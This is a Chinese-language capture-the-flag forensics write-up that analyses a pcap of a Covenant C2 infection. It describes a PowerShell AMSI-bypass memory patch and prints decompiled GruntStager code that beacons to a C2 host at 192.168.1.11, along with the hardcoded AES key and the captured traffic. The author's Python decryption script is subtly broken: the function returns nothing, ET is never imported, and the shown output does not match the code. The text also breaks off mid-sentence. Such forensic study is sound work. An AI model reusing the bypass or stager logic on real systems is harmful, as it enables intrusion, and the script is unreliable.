HackTheBox - Acknowledge the corn
檢查pcap
Follow TCP Stream發現攻擊者request192.168.1.11 GET /byp.ps1腳本,仔細分析會發現是個簡單的混淆過的powershell script,下面這一段在做的事情,主要就是hook/patch AmsiScan(Antimalware Scan Interface)的作用,讓後續的腳本可以安全落地,根據1的說明,在Win10/Win Server 2016都預設安裝並啟用
1 | |
為什麼要把AmsiScanBuffer做patch就可以bypass呢,1寫的很深入,有興趣可以看一下,簡單來說AmsiScanBuffer就是執行所有powershell腳本時,使用到的command首先會被送達的地方進行檢查,所以bypass的方法有千百種
- 透過base64之類的encoding bypass string detection
- 透過memory patch的方式(也就是上述方式) …
而以上的腳本可以參考2,根本就是一模一樣,他就是
mov eax, 0x80070057;
ret;
的操作
解析第二個腳本
根據解完混淆的結果,他繼續下載dwn.ps1這個script,一樣為了安全落地而做obfuscator
1 | |
我們在實際執行之前,先pass並且把真正的malware腳本dump出來,有任何疑慮都應該在VM中執行,並且定期做snapshot。基本上那一大陀base64 string,就是實際的payload
Dump出真正的malware
1 | |
用dnSpy反編譯看靜態的內容,會發現class name是GruntStager,這個關鍵字第一次看到,但他其實是Covenant C2 的「第一階段 loader」,功能是:連上 C2 → 建立加密通道 → 下載真正的 implant(Grunt),而Covenant是什麼呢,根據Covenant利用分析 文章
Covenant是.NET開發的C2(command and control)框架,使用.NET Core的開發環境,不僅支援Linux,MacOS和Windows,也支援docker容器。
最特別的地方是支援動態編譯,能夠將輸入的C#程式碼上傳至C2 Server,取得編譯後的檔案並使用Assembly.Load()從記憶體進行載入。
1 | |
又又又是一個下在真正malware的script,到底煩不煩啊,我建議用pcap的流量搭配著看,會比較清楚
- 跟
192.168.1.11:80溝通之前要先構造封包的各種header - 之後會隨機選擇
/en-us/index.html,/en-us/docs.html,/en-us/test.html這三個directory進行query,讓defender, EDR, IDS, IPS…覺得這是一個正常的流量 - 建立AES的加密通道,從這一段可以知道AES的key是hardcoded
1
2
3
4
5
6
7byte[] key = Convert.FromBase64String("e+MPqFZXA52Kx1xuTPTK6M/HtJkjq/0dfBJUsSJfzQw="); ... Aes aes = Aes.Create(); aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; aes.Key = key; aes.GenerateIV(); - 產生 RSA 公鑰 → 轉成字串 → 用 AES 加密後準備送給 C2
1
2
3
4
5HMACSHA256 hmacsha = new HMACSHA256(key); RSACryptoServiceProvider rsacryptoServiceProvider = new RSACryptoServiceProvider(2048, new CspParameters()); byte[] bytes = Encoding.UTF8.GetBytes(rsacryptoServiceProvider.ToXmlString(false)); byte[] array = aes.CreateEncryptor().TransformFinalBlock(bytes, 0, bytes.Length); byte[] inArray = hmacsha.ComputeHash(array); - 遍歷可用的C2 Server,當初在看這一段的時候就覺得很奇怪,幹嘛多此一舉,原來的list可以是很多個不同c2 server list,這一段是在嘗試找到還活著的c2 server,也就是封包6的地方,當找到還活著的c2 server就
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20foreach (string text3 in list) { try { for (int i = 0; i < list3.Count; i++) { if (list2[i] == "Cookie") { cookieWebClient.SetCookies(new Uri(text3), list3[i].Replace(";", ",").Replace("{GUID}", "")); } else { cookieWebClient.Headers.Set(list2[i].Replace("{GUID}", ""), list3[i].Replace("{GUID}", "")); } } cookieWebClient.DownloadString(text3 + list4[random.Next(list4.Count)].Replace("{GUID}", "")); text2 = text3; } catch{} }1
2
3
4GET /en-us/test.html HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Host: 192.168.1.11 Cookie: ASPSESSIONID=; SESSIONID=1552332971750 - 首先進行一次正常的post handshake,也就是封包9~11的內容,也就是實際把RSA的public key用AES加密送出去(步驟4)
1
string text4 = GruntStager.Parse(cookieWebClient.UploadString(text2 + list4[random.Next(list4.Count)].Replace("{GUID}", text), string.Format(format, arg)), format2)[0]; // post data1
2
3
4
5
6
7
8
9
10POST /en-us/test.html HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Host: 192.168.1.11 Cookie: ASPSESSIONID=4f128f1882; SESSIONID=1552332971750 Content-Length: 1036 Expect: 100-continue HTTP/1.1 100 Continue i=a19ea23062db990386a3a478cb89d52e&data=eyJHVUlEIjoiNjllYmY5ZWRjNTRmMTI4ZjE4ODIiLCJUeXBlIjowLCJNZXRhIjoiIiwiSVYiOiJlWFFkSGtvbVIrQnV4ajVZRmM5d1lBPT0iLCJFbmNyeXB0ZWRNZXNzYWdlIjoiVWE2Uzd2amFmN2FrRm9jQjlsb2ZqaFEvN1JKWXVmVWkrbnBqVXFyYlZQSkVhVTcydk5USmdDcXNRYXMwSzhtZ1NDZWFVY2hKSU41MU96UndTMFowMURzN3Zad2FIYkNjaCtYREExUDdMc29VMkc2V0lzRXNrNGpleVB3eE1hTkg5d2hveXRsQkMxYTRLR2NFUmV1ZE5wQ2xQZWJlaHphQSs4ZmVSNE9KdUVxQmJ6dHdGbXJ1TzBaTnc5Nlh1bmsxaUJxUGZNczFYUWFWVDV0NXBMVFc0Sm9sN0pqYUZCRDJ0dEl2emphdFpVS2Uzam1rWFY2dC82WEIxWDY2dVRHNU9JTDlCb2ZvSlpZT2dzTEZWYUphLzVzeGVBUStvUCtMM2VFaS9BRjNOaUZFREZZbUtGZzlwTjRuVVdPUURET200TzlPbkpJWndiMm8wUVkrUkFuU0JMVDRaMGlyNXlkdFR4ejNUYkFuaWVMN3h0RXpPellEYVBHYVdHTmIvMUVPcWczRTlZRkl1OXlubzBrT3hpcnhUMVUzZHBNRTg4M1RqejBEdGVlZnN5U1ptU0d4a1oyNTllM0FrbG5FZ2NYenRDclE4Kys1VE1vUmthVTVTVzZ3SE1LUkNBLzdpditIaDIxa29OTExIQmlhMTZqRGtxNjdqRXE3Z1UwcDJRKzFpUUhxeGNCVThCZVpYekh6ZVVQYTEybXkzVVNyelhkME0yZHEwNzJ0TXlzPSIsIkhNQUMiOiJibHRucXpBakZTZUx5bFR6aGowSUhZcG80aldOeVVGWEVwbHFHcjQ1dmw4PSJ9&session=75db-99b1-25fe4e9afbe58696-320bea73最重要的就是data中的內容,實際decode如下
1
2
3
4
5
6
7
8{ "GUID": "69ebf9edc54f128f1882", "Type": 0, "Meta": "", "IV": "eXQdHkomR+Buxj5YFc9wYA==", "EncryptedMessage": "Ua6S7vjaf7akFocB9lofjhQ/7RJYufUi+npjUqrbVPJEaU72vNTJgCqsQas0K8mgSCeaUchJIN51OzRwS0Z01Ds7vZwaHbCch+XDA1P7LsoU2G6WIsEsk4jeyPwxMaNH9whoytlBC1a4KGcEReudNpClPebehzaA+8feR4OJuEqBbztwFmruO0ZNw96Xunk1iBqPfMs1XQaVT5t5pLTW4Jol7JjaFBD2ttIvzjatZUKe3jmkXV6t/6XB1X66uTG5OIL9BofoJZYOgsLFVaJa/5sxeAQ+oP+L3eEi/AF3NiFEDFYmKFg9pN4nUWOQDDOm4O9OnJIZwb2o0QY+RAnSBLT4Z0ir5ydtTxz3TbAnieL7xtEzOzYDaPGaWGNb/1EOqg3E9YFIu9yno0kOxirxT1U3dpME883Tjz0DteefsySZmSGxkZ259e3AklnEgcXztCrQ8++5TMoRkaU5SW6wHMKRCA/7iv+Hh21koNLLHBia16jDkq67jEq7gU0p2Q+1iQHqxcBU8BeZXzHzeUPa12my3USrzXd0M2dq072tMys=", "HMAC": "bltnqzAjFSeLylTzhj0IHYpo4jWNyUFXEplqGr45vl8=" }我們既然知道AES的mode, padding, IV, key,是不是可以知道RSA的公鑰
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71import base64 import json from urllib.parse import parse_qs from Crypto.Cipher import AES from Crypto.Hash import HMAC, SHA256 # ===== 固定 AES key(你給的)===== KEY_B64 = "e+MPqFZXA52Kx1xuTPTK6M/HtJkjq/0dfBJUsSJfzQw=" KEY = base64.b64decode(KEY_B64) # ===== PKCS7 unpad ===== def pkcs7_unpad(data): pad_len = data[-1] return data[:-pad_len] # ===== 主解密函數 ===== def decrypt_c2(raw_http_body): # 1️⃣ parse POST body parsed = parse_qs(raw_http_body) if "data" not in parsed: print("[!] data field not found") return data_b64 = parsed["data"][0] # 2️⃣ Base64 → JSON json_str = base64.b64decode(data_b64).decode() print("[+] JSON:\n", json_str) obj = json.loads(json_str) iv = base64.b64decode(obj["IV"]) enc = base64.b64decode(obj["EncryptedMessage"]) hmac_recv = base64.b64decode(obj["HMAC"]) # 3️⃣ 驗證 HMAC h = HMAC.new(KEY, digestmod=SHA256) h.update(enc) try: h.verify(hmac_recv) print("[+] HMAC OK") except: print("[!] HMAC mismatch (可能不是第一階段資料)") return # 4️⃣ AES-CBC decrypt cipher = AES.new(KEY, AES.MODE_CBC, iv) decrypted = cipher.decrypt(enc) decrypted = pkcs7_unpad(decrypted) print("\n[+] Decrypted result:\n") try: print(decrypted.decode()) except: print(decrypted) # ===== 測試 ===== if __name__ == "__main__": raw = """i=a19ea23062db990386a3a478cb89d52e&data=eyJHVUlEIjoiNjllYmY5ZWRjNTRmMTI4ZjE4ODIiLCJUeXBlIjowLCJNZXRhIjoiIiwiSVYiOiJlWFFkSGtvbVIrQnV4ajVZRmM5d1lBPT0iLCJFbmNyeXB0ZWRNZXNzYWdlIjoiVWE2Uzd2amFmN2FrRm9jQjlsb2ZqaFEvN1JKWXVmVWkrbnBqVXFyYlZQSkVhVTcydk5USmdDcXNRYXMwSzhtZ1NDZWFVY2hKSU41MU96UndTMFowMURzN3Zad2FIYkNjaCtYREExUDdMc29VMkc2V0lzRXNrNGpleVB3eE1hTkg5d2hveXRsQkMxYTRLR2NFUmV1ZE5wQ2xQZWJlaHphQSs4ZmVSNE9KdUVxQmJ6dHdGbXJ1TzBaTnc5Nlh1bmsxaUJxUGZNczFYUWFWVDV0NXBMVFc0Sm9sN0pqYUZCRDJ0dEl2emphdFpVS2Uzam1rWFY2dC82WEIxWDY2dVRHNU9JTDlCb2ZvSlpZT2dzTEZWYUphLzVzeGVBUStvUCtMM2VFaS9BRjNOaUZFREZZbUtGZzlwTjRuVVdPUURET200TzlPbkpJWndiMm8wUVkrUkFuU0JMVDRaMGlyNXlkdFR4ejNUYkFuaWVMN3h0RXpPellEYVBHYVdHTmIvMUVPcWczRTlZRkl1OXlubzBrT3hpcnhUMVUzZHBNRTg4M1RqejBEdGVlZnN5U1ptU0d4a1oyNTllM0FrbG5FZ2NYenRDclE4Kys1VE1vUmthVTVTVzZ3SE1LUkNBLzdpditIaDIxa29OTExIQmlhMTZqRGtxNjdqRXE3Z1UwcDJRKzFpUUhxeGNCVThCZVpYekh6ZVVQYTEybXkzVVNyelhkME0yZHEwNzJ0TXlzPSIsIkhNQUMiOiJibHRucXpBakZTZUx5bFR6aGowSUhZcG80aldOeVVGWEVwbHFHcjQ1dmw4PSJ9&session=75db-99b1-25fe4e9afbe58696-320bea73""" xml_data = decrypt_c2(raw) root = ET.fromstring(xml_data) mod = int(base64.b64decode(root.find("Modulus").text).hex(), 16) exp = int(base64.b64decode(root.find("Exponent").text).hex(), 16) print("\n[+] Modulus:", mod) print("[+] Exponent:", exp)實際執行如下
1
2
3
4
5
6
7
8
9
10
11
12$ python decrypt_rsa_pub.py [+] JSON: {"GUID":"69ebf9edc54f128f1882","Type":0,"Meta":"","IV":"eXQdHkomR+Buxj5YFc9wYA==","EncryptedMessage":"Ua6S7vjaf7akFocB9lofjhQ/7RJYufUi+npjUqrbVPJEaU72vNTJgCqsQas0K8mgSCeaUchJIN51OzRwS0Z01Ds7vZwaHbCch+XDA1P7LsoU2G6WIsEsk4jeyPwxMaNH9whoytlBC1a4KGcEReudNpClPebehzaA+8feR4OJuEqBbztwFmruO0ZNw96Xunk1iBqPfMs1XQaVT5t5pLTW4Jol7JjaFBD2ttIvzjatZUKe3jmkXV6t/6XB1X66uTG5OIL9BofoJZYOgsLFVaJa/5sxeAQ+oP+L3eEi/AF3NiFEDFYmKFg9pN4nUWOQDDOm4O9OnJIZwb2o0QY+RAnSBLT4Z0ir5ydtTxz3TbAnieL7xtEzOzYDaPGaWGNb/1EOqg3E9YFIu9yno0kOxirxT1U3dpME883Tjz0DteefsySZmSGxkZ259e3AklnEgcXztCrQ8++5TMoRkaU5SW6wHMKRCA/7iv+Hh21koNLLHBia16jDkq67jEq7gU0p2Q+1iQHqxcBU8BeZXzHzeUPa12my3USrzXd0M2dq072tMys=","HMAC":"bltnqzAjFSeLylTzhj0IHYpo4jWNyUFXEplqGr45vl8="} [+] HMAC OK [+] Decrypted result: <RSAKeyValue><Modulus>whTIf58LseBXkJ10h+oHQ0uSAG9N1oOgQwttHx9ZV/Vu4dhF5hkK0OdF8vX2/Qu6dNBtWRR4y5xJe9GpdswudB+lSClET9nFFAc50o8l57v8or71D/qvY2y+SFiyfDKUWqcL86QJW0w4cio2XfvKyT7X+RSIZ25YT7KFvv150K65uAR9JOZPGy2SQy/LJU7TgbgipyjOQmQ1m6NOHSrlRUst9mc3KDJ9BFXENxee35lPTvr0+EJmA/BXZNqlXO3ZX0Jrt8/WuP0zSxtyJk8Kq8Mukw8PfKApWmYK9t3sOTuADxE+2ixjlKvBQUlYYFgW5mPB9WgqkxKGDZ+4yVO0GQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue> [+] Modulus (hex): c214c87f9f0bb1e057909d7487ea07434b92006f4dd683a0430b6d1f1f5957f56ee1d845e6190ad0e745f2f5f6fd0bba74d06d591478cb9c497bd1a976cc2e741fa54829444fd9c5140739d28f25e7bbfca2bef50ffaaf636cbe4858b27c32945aa70bf3a4095b4c38722a365dfbcac93ed7f91488676e584fb285befd79d0aeb9b8047d24e64f1b2d92432fcb254ed381b822a728ce4264359ba34e1d2ae5454b2df6673728327d0455c437179edf994f4efaf4f8426603f05764daa55cedd95f426bb7cfd6b8fd334b1b72264f0aabc32e930f0f7ca0295a660af6ddec393b800f113eda2c6394abc1414958605816e663c1f5682a9312860d9fb8c953b419 [+] Exponent (hex): 010001 [+] Modulus: 24500479739996401095963273339592726854577544361336131010257542521022211129981853493393225360519803579604180308554466001731317155662883901804401782188521087339814875281675433970241173004066302505438642828635010456006385052201037045477318965992934329299311444091059748284959353737140967032070288032300860660201615096014919515126279357598150050824813778543505190552347761162077192178028816763336284205055962774977565719957750667189548431231956870852091820940013123547790813584160727972414802494322174845231209532274329179771734167199910578449745231446017777892612369264412397522087533293707026498164641181074706780107801 [+] Exponent: 65537 - 到這邊最理想的解法是破解RSA Private Key,所以必須拿到
p, q,不過也有另外一個想法,既然我們有minidump的memory,那就代表實際的malicious已經被decrypt放在memory,那就代表
Reference
-
AMSI 淺析及繞過: 基本上中國的文章搬來搬去,也不確定哪裡才是原文 ↩ ↩2